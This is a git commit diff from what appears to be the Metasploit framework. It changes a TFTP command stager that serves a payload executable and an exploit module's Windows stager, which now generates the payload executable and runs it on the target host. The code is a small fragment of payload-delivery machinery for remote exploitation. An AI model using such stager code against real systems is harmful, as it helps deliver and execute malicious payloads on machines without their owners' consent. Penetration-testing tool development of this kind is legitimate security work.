Missed another
parent
e54442af36
commit
cd0dbc0e24
|
@ -31,14 +31,15 @@ class CmdStagerTFTP < CmdStagerBase
|
||||||
end
|
end
|
||||||
|
|
||||||
def setup(mod)
|
def setup(mod)
|
||||||
tftp = Rex::Proto::TFTP::Server.new
|
self.tftp = Rex::Proto::TFTP::Server.new
|
||||||
tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
|
||||||
tftp.start
|
self.tftp.start
|
||||||
mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo
|
mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
|
||||||
end
|
end
|
||||||
|
|
||||||
def teardown(mod = nil)
|
def teardown(mod = nil)
|
||||||
tftp.stop
|
puts self.tftp.inspect
|
||||||
|
self.tftp.stop
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::Exploit::CmdStager
|
include Msf::Exploit::CmdStager
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -91,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
def windows_stager
|
def windows_stager
|
||||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||||
execute_cmdstager({ :temp => '.' })
|
execute_cmdstager({ :temp => '.' })
|
||||||
@payload_exe = payload_exe
|
@payload_exe = generate_payload_exe
|
||||||
|
|
||||||
print_status("Attempting to execute the payload...")
|
print_status("Attempting to execute the payload...")
|
||||||
execute_command(@payload_exe)
|
execute_command(@payload_exe)
|
||||||
|
|
Loading…
Reference in New Issue